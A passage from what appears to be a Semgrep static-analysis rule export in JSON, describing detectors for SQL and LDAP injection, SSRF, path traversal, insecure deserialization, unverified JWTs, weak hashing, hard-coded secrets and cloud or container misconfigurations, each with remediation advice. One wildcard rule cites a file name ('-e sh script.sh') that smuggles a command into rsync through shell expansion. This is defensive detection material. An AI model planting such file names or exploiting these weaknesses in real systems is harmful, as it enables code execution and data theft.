psycopg2 Python SQL statement. This could lead to SQL injection if the variable is user-controlled and not properly sanitized. In order to prevent SQL injection, use parameterized queries or prepared statements instead. You can use prepared statements by creating a 'sql.SQL' string. You can also use the pyformat binding style to create parameterized queries. For example: 'cur.execute(SELECT * FROM table WHERE name=%s, user_input)'\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.lang.security.audit.sqli.psycopg-sqli.psycopg-sqli)\n - [https://www.psycopg.org/docs/sql.html](https://www.psycopg.org/docs/sql.html)\n","text":"Detected string concatenation with a non-literal variable in a psycopg2 Python SQL statement. This could lead to SQL injection if the variable is user-controlled and not properly sanitized. In order to prevent SQL injection, use parameterized queries or prepared statements instead. You can use prepared statements by creating a 'sql.SQL' string. You can also use the pyformat binding style to create parameterized queries. For example: 'cur.execute(SELECT * FROM table WHERE name=%s, user_input)'"},"helpUri":"https://semgrep.dev/r/python.lang.security.audit.sqli.psycopg-sqli.psycopg-sqli","id":"python.lang.security.audit.sqli.psycopg-sqli.psycopg-sqli","name":"python.lang.security.audit.sqli.psycopg-sqli.psycopg-sqli","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","LOW CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: python.lang.security.audit.sqli.psycopg-sqli.psycopg-sqli"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected the decoding of a JWT token without a verify step. JWT tokens must be verified before use, otherwise the token's integrity is unknown. This means a malicious actor could forge a JWT token with any claims. Call '.verify()' before using the token."},"help":{"markdown":"Detected the decoding of a JWT token without a verify step. JWT tokens must be verified before use, otherwise the token's integrity is unknown. This means a malicious actor could forge a JWT token with any claims. Call '.verify()' before using the token.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.jsonwebtoken.security.audit.jwt-decode-without-verify.jwt-decode-without-verify)\n - [https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures](https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures)\n","text":"Detected the decoding of a JWT token without a verify step. JWT tokens must be verified before use, otherwise the token's integrity is unknown. This means a malicious actor could forge a JWT token with any claims. Call '.verify()' before using the token."},"helpUri":"https://semgrep.dev/r/javascript.jsonwebtoken.security.audit.jwt-decode-without-verify.jwt-decode-without-verify","id":"javascript.jsonwebtoken.security.audit.jwt-decode-without-verify.jwt-decode-without-verify","name":"javascript.jsonwebtoken.security.audit.jwt-decode-without-verify.jwt-decode-without-verify","properties":{"precision":"very-high","tags":["CWE-345: Insufficient Verification of Data Authenticity","LOW CONFIDENCE","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.jsonwebtoken.security.audit.jwt-decode-without-verify.jwt-decode-without-verify"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Found user-controlled request data being passed into a file open, which is them passed as an argument into the FileResponse. This is dangerous because an attacker could specify an arbitrary file to read, which could result in leaking important data. Be sure to validate or sanitize the user-inputted filename in the request data before using it in FileResponse."},"help":{"markdown":"Found user-controlled request data being passed into a file open, which is them passed as an argument into the FileResponse. This is dangerous because an attacker could specify an arbitrary file to read, which could result in leaking important data. Be sure to validate or sanitize the user-inputted filename in the request data before using it in FileResponse.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.django.security.injection.request-data-fileresponse.request-data-fileresponse)\n - [https://django-book.readthedocs.io/en/latest/chapter20.html#cross-site-scripting-xss](https://django-book.readthedocs.io/en/latest/chapter20.html#cross-site-scripting-xss)\n","text":"Found user-controlled request data being passed into a file open, which is them passed as an argument into the FileResponse. This is dangerous because an attacker could specify an arbitrary file to read, which could result in leaking important data. Be sure to validate or sanitize the user-inputted filename in the request data before using it in FileResponse."},"helpUri":"https://semgrep.dev/r/python.django.security.injection.request-data-fileresponse.request-data-fileresponse","id":"python.django.security.injection.request-data-fileresponse.request-data-fileresponse","name":"python.django.security.injection.request-data-fileresponse.request-data-fileresponse","properties":{"precision":"very-high","tags":["CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')","MEDIUM CONFIDENCE","OWASP-A01:2021 - Broken Access Control","OWASP-A05:2017 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: python.django.security.injection.request-data-fileresponse.request-data-fileresponse"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected use of the wildcard character in a system call that spawns a shell. This subjects the wildcard to normal shell expansion, which can have unintended consequences if there exist any non-standard file names. Consider a file named '-e sh script.sh' -- this will execute a script when 'rsync' is called. See https://www.defensecode.com/public/DefenseCode_Unix_WildCards_Gone_Wild.txt for more information."},"help":{"markdown":"Detected use of the wildcard character in a system call that spawns a shell. This subjects the wildcard to normal shell expansion, which can have unintended consequences if there exist any non-standard file names. Consider a file named '-e sh script.sh' -- this will execute a script when 'rsync' is called. See https://www.defensecode.com/public/DefenseCode_Unix_WildCards_Gone_Wild.txt for more information.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.lang.security.audit.system-wildcard-detected.system-wildcard-detected)\n - [https://www.defensecode.com/public/DefenseCode_Unix_WildCards_Gone_Wild.txt](https://www.defensecode.com/public/DefenseCode_Unix_WildCards_Gone_Wild.txt)\n","text":"Detected use of the wildcard character in a system call that spawns a shell. This subjects the wildcard to normal shell expansion, which can have unintended consequences if there exist any non-standard file names. Consider a file named '-e sh script.sh' -- this will execute a script when 'rsync' is called. See https://www.defensecode.com/public/DefenseCode_Unix_WildCards_Gone_Wild.txt for more information."},"helpUri":"https://semgrep.dev/r/python.lang.security.audit.system-wildcard-detected.system-wildcard-detected","id":"python.lang.security.audit.system-wildcard-detected.system-wildcard-detected","name":"python.lang.security.audit.system-wildcard-detected.system-wildcard-detected","properties":{"precision":"very-high","tags":["CWE-155: Improper Neutralization of Wildcards or Matching Symbols","LOW CONFIDENCE","OWASP-A01:2017 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: python.lang.security.audit.system-wildcard-detected.system-wildcard-detected"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected MD4 hash algorithm which is considered insecure. MD4 is not collision resistant and is therefore not suitable as a cryptographic signature. Use a modern hash algorithm from the SHA-2, SHA-3, or BLAKE2 family instead."},"help":{"markdown":"Detected MD4 hash algorithm which is considered insecure. MD4 is not collision resistant and is therefore not suitable as a cryptographic signature. Use a modern hash algorithm from the SHA-2, SHA-3, or BLAKE2 family instead.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.pycryptodome.security.insecure-hash-algorithm-md4.insecure-hash-algorithm-md4)\n - [https://www.pycryptodome.org/src/hash/hash#modern-hash-algorithms](https://www.pycryptodome.org/src/hash/hash#modern-hash-algorithms)\n - [https://www.schneier.com/blog/archives/2012/10/when_will_we_se.html](https://www.schneier.com/blog/archives/2012/10/when_will_we_se.html)\n - [https://www.trendmicro.com/vinfo/us/security/news/vulnerabilities-and-exploits/sha-1-collision-signals-the-end-of-the-algorithm-s-viability](https://www.trendmicro.com/vinfo/us/security/news/vulnerabilities-and-exploits/sha-1-collision-signals-the-end-of-the-algorithm-s-viability)\n - [http://2012.sharcs.org/slides/stevens.pdf](http://2012.sharcs.org/slides/stevens.pdf)\n - [https://pycryptodome.readthedocs.io/en/latest/src/hash/sha3_256.html](https://pycryptodome.readthedocs.io/en/latest/src/hash/sha3_256.html)\n","text":"Detected MD4 hash algorithm which is considered insecure. MD4 is not collision resistant and is therefore not suitable as a cryptographic signature. Use a modern hash algorithm from the SHA-2, SHA-3, or BLAKE2 family instead."},"helpUri":"https://semgrep.dev/r/python.pycryptodome.security.insecure-hash-algorithm-md4.insecure-hash-algorithm-md4","id":"python.pycryptodome.security.insecure-hash-algorithm-md4.insecure-hash-algorithm-md4","name":"python.pycryptodome.security.insecure-hash-algorithm-md4.insecure-hash-algorithm-md4","properties":{"precision":"very-high","tags":["CWE-327: Use of a Broken or Risky Cryptographic Algorithm","HIGH CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: python.pycryptodome.security.insecure-hash-algorithm-md4.insecure-hash-algorithm-md4"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.mariadb.python-mariadb-hardcoded-secret.python-mariadb-hardcoded-secret)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"helpUri":"https://semgrep.dev/r/python.mariadb.python-mariadb-hardcoded-secret.python-mariadb-hardcoded-secret","id":"python.mariadb.python-mariadb-hardcoded-secret.python-mariadb-hardcoded-secret","name":"python.mariadb.python-mariadb-hardcoded-secret.python-mariadb-hardcoded-secret","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.mariadb.python-mariadb-hardcoded-secret.python-mariadb-hardcoded-secret"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected a cookie options with the `SameSite` flag set to \"None\". This is a potential security risk that arises from the way web browsers manage cookies. In a typical web application, cookies are used to store and transmit session-related data between a client and a server. To enhance security, cookies can be marked with the \"SameSite\" attribute, which restricts their usage based on the origin of the page that set them. This attribute can have three values: \"Strict,\" \"Lax,\" or \"None\". Make sure the `SameSite` attribute of the important cookies (e.g., session cookie) is set to a reasonable value. When `SameSite` is set to \"Strict\", no 3rd party cookie will be sent with outgoing requests, this is the most secure and private setting but harder to deploy with good usability. Setting it to \"Lax\" is the minimum requirement."},"help":{"markdown":"Detected a cookie options with the `SameSite` flag set to \"None\". This is a potential security risk that arises from the way web browsers manage cookies. In a typical web application, cookies are used to store and transmit session-related data between a client and a server. To enhance security, cookies can be marked with the \"SameSite\" attribute, which restricts their usage based on the origin of the page that set them. This attribute can have three values: \"Strict,\" \"Lax,\" or \"None\". Make sure the `SameSite` attribute of the important cookies (e.g., session cookie) is set to a reasonable value. When `SameSite` is set to \"Strict\", no 3rd party cookie will be sent with outgoing requests, this is the most secure and private setting but harder to deploy with good usability. Setting it to \"Lax\" is the minimum requirement.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.micronaut.audit.cookies.cookie-samesite-none.cookie-samesite-none)\n - [https://owasp.org/Top10/A01_2021-Broken_Access_Control](https://owasp.org/Top10/A01_2021-Broken_Access_Control)\n - [https://web.dev/articles/samesite-cookies-explained](https://web.dev/articles/samesite-cookies-explained)\n","text":"Detected a cookie options with the `SameSite` flag set to \"None\". This is a potential security risk that arises from the way web browsers manage cookies. In a typical web application, cookies are used to store and transmit session-related data between a client and a server. To enhance security, cookies can be marked with the \"SameSite\" attribute, which restricts their usage based on the origin of the page that set them. This attribute can have three values: \"Strict,\" \"Lax,\" or \"None\". Make sure the `SameSite` attribute of the important cookies (e.g., session cookie) is set to a reasonable value. When `SameSite` is set to \"Strict\", no 3rd party cookie will be sent with outgoing requests, this is the most secure and private setting but harder to deploy with good usability. Setting it to \"Lax\" is the minimum requirement."},"helpUri":"https://semgrep.dev/r/java.micronaut.audit.cookies.cookie-samesite-none.cookie-samesite-none","id":"java.micronaut.audit.cookies.cookie-samesite-none.cookie-samesite-none","name":"java.micronaut.audit.cookies.cookie-samesite-none.cookie-samesite-none","properties":{"precision":"very-high","tags":["CWE-1275: Sensitive Cookie with Improper SameSite Attribute","HIGH CONFIDENCE","OWASP-A01:2021 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: java.micronaut.audit.cookies.cookie-samesite-none.cookie-samesite-none"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/rust.secrets.tokio-postgres.hardcoded-password.hardcoded-password)\n - [https://docs.rs/tokio-postgres/latest/tokio_postgres/](https://docs.rs/tokio-postgres/latest/tokio_postgres/)\n - [https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures](https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy."},"helpUri":"https://semgrep.dev/r/rust.secrets.tokio-postgres.hardcoded-password.hardcoded-password","id":"rust.secrets.tokio-postgres.hardcoded-password.hardcoded-password","name":"rust.secrets.tokio-postgres.hardcoded-password.hardcoded-password","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: rust.secrets.tokio-postgres.hardcoded-password.hardcoded-password"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The application was observed to store keychain items that leverage user authentication but allow the passcode fallback. Biometric modalities are considered more secure than 4 or 6 digit pincodes on iOS, and should be preferred over the passcode."},"help":{"markdown":"The application was observed to store keychain items that leverage user authentication but allow the passcode fallback. Biometric modalities are considered more secure than 4 or 6 digit pincodes on iOS, and should be preferred over the passcode.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/swift.biometrics-and-auth.pass-fallback.keychain-passcode-fallback)\n - [https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06f-testing-local-authentication](https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06f-testing-local-authentication)\n","text":"The application was observed to store keychain items that leverage user authentication but allow the passcode fallback. Biometric modalities are considered more secure than 4 or 6 digit pincodes on iOS, and should be preferred over the passcode."},"helpUri":"https://semgrep.dev/r/swift.biometrics-and-auth.pass-fallback.keychain-passcode-fallback","id":"swift.biometrics-and-auth.pass-fallback.keychain-passcode-fallback","name":"swift.biometrics-and-auth.pass-fallback.keychain-passcode-fallback","properties":{"precision":"very-high","tags":["CWE-272: Least Privilege Violation","HIGH CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: swift.biometrics-and-auth.pass-fallback.keychain-passcode-fallback"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Detected user input used to manually construct a SQL string. This is usually bad practice because manual construction could accidentally result in a SQL injection. An attacker could use a SQL injection to steal or modify contents of the database. Instead, use a parameterized query which is available by default in most database engines. Alternatively, consider using an object-relational mapper (ORM) such as Sequelize which will protect your queries."},"help":{"markdown":"Detected user input used to manually construct a SQL string. This is usually bad practice because manual construction could accidentally result in a SQL injection. An attacker could use a SQL injection to steal or modify contents of the database. Instead, use a parameterized query which is available by default in most database engines. Alternatively, consider using an object-relational mapper (ORM) such as Sequelize which will protect your queries.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/ruby.aws-lambda.security.tainted-sql-string.tainted-sql-string)\n - [https://rorsecurity.info/portfolio/ruby-on-rails-sql-injection-cheat-sheet](https://rorsecurity.info/portfolio/ruby-on-rails-sql-injection-cheat-sheet)\n","text":"Detected user input used to manually construct a SQL string. This is usually bad practice because manual construction could accidentally result in a SQL injection. An attacker could use a SQL injection to steal or modify contents of the database. Instead, use a parameterized query which is available by default in most database engines. Alternatively, consider using an object-relational mapper (ORM) such as Sequelize which will protect your queries."},"helpUri":"https://semgrep.dev/r/ruby.aws-lambda.security.tainted-sql-string.tainted-sql-string","id":"ruby.aws-lambda.security.tainted-sql-string.tainted-sql-string","name":"ruby.aws-lambda.security.tainted-sql-string.tainted-sql-string","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","MEDIUM CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: ruby.aws-lambda.security.tainted-sql-string.tainted-sql-string"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains."},"help":{"markdown":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/rust.rocket.ssrf.reqwest-taint.reqwest-taint)\n - [https://docs.rs/reqwest/latest/reqwest/](https://docs.rs/reqwest/latest/reqwest/)\n - [https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29](https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29)\n","text":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains."},"helpUri":"https://semgrep.dev/r/rust.rocket.ssrf.reqwest-taint.reqwest-taint","id":"rust.rocket.ssrf.reqwest-taint.reqwest-taint","name":"rust.rocket.ssrf.reqwest-taint.reqwest-taint","properties":{"precision":"very-high","tags":["CWE-918: Server-Side Request Forgery (SSRF)","HIGH CONFIDENCE","OWASP-A10:2021 - Server-Side Request Forgery (SSRF)","security"]},"shortDescription":{"text":"Semgrep Finding: rust.rocket.ssrf.reqwest-taint.reqwest-taint"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains."},"help":{"markdown":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.fastapi.net.tainted-fastapi-http-request-pycurl.tainted-fastapi-http-request-pycurl)\n - [https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29](https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29)\n","text":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains."},"helpUri":"https://semgrep.dev/r/python.fastapi.net.tainted-fastapi-http-request-pycurl.tainted-fastapi-http-request-pycurl","id":"python.fastapi.net.tainted-fastapi-http-request-pycurl.tainted-fastapi-http-request-pycurl","name":"python.fastapi.net.tainted-fastapi-http-request-pycurl.tainted-fastapi-http-request-pycurl","properties":{"precision":"very-high","tags":["CWE-918: Server-Side Request Forgery (SSRF)","MEDIUM CONFIDENCE","OWASP-A10:2021 - Server-Side Request Forgery (SSRF)","security"]},"shortDescription":{"text":"Semgrep Finding: python.fastapi.net.tainted-fastapi-http-request-pycurl.tainted-fastapi-http-request-pycurl"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. To prevent this vulnerability, leverage data formats such as JSON or XML as safer alternatives. If you need to deserialize user input in a specific format, consider digitally signing the data before serialization to prevent tampering. For more information, see: [Deserialization prevention](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html) We do not recommend deserializing untrusted data with the `ObjectInputStream`. If you must, you can try overriding the `ObjectInputStream#resolveClass()` method or using a safe replacement for the generic `readObject()` method."},"help":{"markdown":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. To prevent this vulnerability, leverage data formats such as JSON or XML as safer alternatives. If you need to deserialize user input in a specific format, consider digitally signing the data before serialization to prevent tampering. For more information, see: [Deserialization prevention](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html) We do not recommend deserializing untrusted data with the `ObjectInputStream`. If you must, you can try overriding the `ObjectInputStream#resolveClass()` method or using a safe replacement for the generic `readObject()` method.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.spring.security.objectinputstream-deserialization-spring.objectinputstream-deserialization-spring)\n - [https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures](https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures)\n","text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. To prevent this vulnerability, leverage data formats such as JSON or XML as safer alternatives. If you need to deserialize user input in a specific format, consider digitally signing the data before serialization to prevent tampering. For more information, see: [Deserialization prevention](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html) We do not recommend deserializing untrusted data with the `ObjectInputStream`. If you must, you can try overriding the `ObjectInputStream#resolveClass()` method or using a safe replacement for the generic `readObject()` method."},"helpUri":"https://semgrep.dev/r/java.spring.security.objectinputstream-deserialization-spring.objectinputstream-deserialization-spring","id":"java.spring.security.objectinputstream-deserialization-spring.objectinputstream-deserialization-spring","name":"java.spring.security.objectinputstream-deserialization-spring.objectinputstream-deserialization-spring","properties":{"precision":"very-high","tags":["CWE-502: Deserialization of Untrusted Data","HIGH CONFIDENCE","OWASP-A08:2017 - Insecure Deserialization","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: java.spring.security.objectinputstream-deserialization-spring.objectinputstream-deserialization-spring"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The AWS EBS is unencrypted. The AWS EBS encryption protects data in the EBS."},"help":{"markdown":"The AWS EBS is unencrypted. The AWS EBS encryption protects data in the EBS.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/terraform.aws.security.aws-ebs-unencrypted.aws-ebs-unencrypted)\n - [https://owasp.org/Top10/A02_2021-Cryptographic_Failures](https://owasp.org/Top10/A02_2021-Cryptographic_Failures)\n","text":"The AWS EBS is unencrypted. The AWS EBS encryption protects data in the EBS."},"helpUri":"https://semgrep.dev/r/terraform.aws.security.aws-ebs-unencrypted.aws-ebs-unencrypted","id":"terraform.aws.security.aws-ebs-unencrypted.aws-ebs-unencrypted","name":"terraform.aws.security.aws-ebs-unencrypted.aws-ebs-unencrypted","properties":{"precision":"very-high","tags":["CWE-320: CWE CATEGORY: Key Management Errors","MEDIUM CONFIDENCE","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: terraform.aws.security.aws-ebs-unencrypted.aws-ebs-unencrypted"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Service '$SERVICE' allows for privilege escalation via setuid or setgid binaries. Add 'no-new-privileges:true' in 'security_opt' to prevent this."},"help":{"markdown":"Service '$SERVICE' allows for privilege escalation via setuid or setgid binaries. Add 'no-new-privileges:true' in 'security_opt' to prevent this.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/yaml.docker-compose.security.no-new-privileges.no-new-privileges)\n - [https://raesene.github.io/blog/2019/06/01/docker-capabilities-and-no-new-privs/](https://raesene.github.io/blog/2019/06/01/docker-capabilities-and-no-new-privs/)\n - [https://www.kernel.org/doc/Documentation/prctl/no_new_privs.txt](https://www.kernel.org/doc/Documentation/prctl/no_new_privs.txt)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Docker_Security_Cheat_Sheet.html#rule-4-add-no-new-privileges-flag](https://cheatsheetseries.owasp.org/cheatsheets/Docker_Security_Cheat_Sheet.html#rule-4-add-no-new-privileges-flag)\n","text":"Service '$SERVICE' allows for privilege escalation via setuid or setgid binaries. Add 'no-new-privileges:true' in 'security_opt' to prevent this."},"helpUri":"https://semgrep.dev/r/yaml.docker-compose.security.no-new-privileges.no-new-privileges","id":"yaml.docker-compose.security.no-new-privileges.no-new-privileges","name":"yaml.docker-compose.security.no-new-privileges.no-new-privileges","properties":{"precision":"very-high","tags":["CWE-732: Incorrect Permission Assignment for Critical Resource","LOW CONFIDENCE","OWASP-A05:2021 - Security Misconfiguration","OWASP-A06:2017 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: yaml.docker-compose.security.no-new-privileges.no-new-privileges"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build an LDAP query, which can allow attackers to run arbitrary LDAP queries. If an LDAP query must contain untrusted input then it must be escaped."},"help":{"markdown":"Untrusted input might be used to build an LDAP query, which can allow attackers to run arbitrary LDAP queries. If an LDAP query must contain untrusted input then it must be escaped.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/cpp.lang.security.ldap.ldap-injection-filter.ldap-injection-filter)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n - [https://wiki.sei.cmu.edu/confluence/display/c/STR02-C.+Sanitize+data+passed+to+complex+subsystems](https://wiki.sei.cmu.edu/confluence/display/c/STR02-C.+Sanitize+data+passed+to+complex+subsystems)\n","text":"Untrusted input might be used to build an LDAP query, which can allow attackers to run arbitrary LDAP queries. If an LDAP query must contain untrusted input then it must be escaped."},"helpUri":"https://semgrep.dev/r/cpp.lang.security.ldap.ldap-injection-filter.ldap-injection-filter","id":"cpp.lang.security.ldap.ldap-injection-filter.ldap-injection-filter","name":"cpp.lang.security.ldap.ldap-injection-filter.ldap-injection-filter","properties":{"precision":"very-high","tags":["CWE-90: Improper Neutralization of Special Elements used in an LDAP Query ('LDAP Injection')","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: cpp.lang.security.ldap.ldap-injection-filter.ldap-injection-filter"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions. To build SQL queries safely in PHP, it is possible to adopt prepared statements by using `PDO` with bind variables using `bindParam()`."},"help":{"markdown":"Untrusted input might be used to build a 